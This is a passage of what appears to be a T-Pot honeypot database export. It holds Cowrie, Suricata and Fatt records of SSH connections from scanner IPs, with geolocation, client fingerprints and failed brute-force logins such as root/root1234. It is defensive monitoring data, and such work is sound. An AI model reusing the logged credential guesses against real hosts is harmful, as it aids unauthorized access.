"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55874, "dest_port": 22, "timestamp": "2021-09-20T11:12:53.562920", "@timestamp": "2021-09-20T11:12:53.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26724	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:54.511945+03	2021-09-20 14:15:13.646644+03	{"_id": "xgboAnwBvYTbRNuEqSLL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:34818 (192.168.176.2:22) [session: 21797af9223e]", "session": "21797af9223e", "@version": "1", "protocol": "ssh", "src_port": 34818, "dest_port": 22, "timestamp": "2021-09-20T11:12:54.511945Z", "@timestamp": "2021-09-20T11:12:54.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26725	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:54.313574+03	2021-09-20 14:15:13.647646+03	{"_id": "xQboAnwBvYTbRNuEqSLL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/root1234] failed", "session": "fe8f201aa331", "@version": "1", "password": "root1234", "username": "root", "timestamp": "2021-09-20T11:12:54.313574Z", "@timestamp": "2021-09-20T11:12:54.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26726	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:54.514968+03	2021-09-20 14:15:13.648685+03	{"_id": "ygboAnwBvYTbRNuEqSLL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "21797af9223e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:54.514968Z", "@timestamp": "2021-09-20T11:12:54.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26727	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:12:54.788457+03	2021-09-20 14:15:13.649645+03	{"_id": "ywboAnwBvYTbRNuEqyLh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1462691591264468, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34818, "dest_port": 22, "timestamp": "2021-09-20T11:12:54.788457Z", "@timestamp": "2021-09-20T11:12:54.788Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26728	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:12:55.338387+03	2021-09-20 14:15:13.650675+03	{"_id": "0QboAnwBvYTbRNuErSII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 41122, "dest_port": 22, "timestamp": "2021-09-20T11:12:55.338387", "@timestamp": "2021-09-20T11:12:55.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26729	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:56.119414+03	2021-09-20 14:15:13.652646+03	{"_id": "4wboAnwBvYTbRNuEsSKb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [edu/edu] failed", "session": "21797af9223e", "@version": "1", "password": "edu", "username": "edu", "timestamp": "2021-09-20T11:12:56.119414Z", "@timestamp": "2021-09-20T11:12:56.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26730	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:56.013118+03	2021-09-20 14:15:13.653677+03	{"_id": "5QboAnwBvYTbRNuEsSKb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "cadc2122c710", "@version": "1", "duration": 2.7243549823760986, "timestamp": "2021-09-20T11:12:56.013118Z", "@timestamp": "2021-09-20T11:12:56.013Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26731	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:56.577486+03	2021-09-20 14:15:13.654676+03	{"_id": "7wboAnwBvYTbRNuEsSKc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ed9ae4c1b93a", "@version": "1", "timestamp": "2021-09-20T11:12:56.577486Z", "@timestamp": "2021-09-20T11:12:56.577Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26732	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:12:56.510694+03	2021-09-20 14:15:13.655646+03	{"_id": "8QboAnwBvYTbRNuEsyKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 243524322218531, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43196, "dest_port": 22, "timestamp": "2021-09-20T11:12:56.510694Z", "@timestamp": "2021-09-20T11:12:56.510Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26733	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:12:56.576895+03	2021-09-20 14:15:13.657648+03	{"_id": "9wboAnwBvYTbRNuEtCLc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43196, "dest_port": 22, "timestamp": "2021-09-20T11:12:56.576895", "@timestamp": "2021-09-20T11:12:56.576Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26734	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:12:54.788577+03	2021-09-20 14:15:13.658644+03	{"_id": "zwboAnwBvYTbRNuErSII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34818, "dest_port": 22, "timestamp": "2021-09-20T11:12:54.788577", "@timestamp": "2021-09-20T11:12:54.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
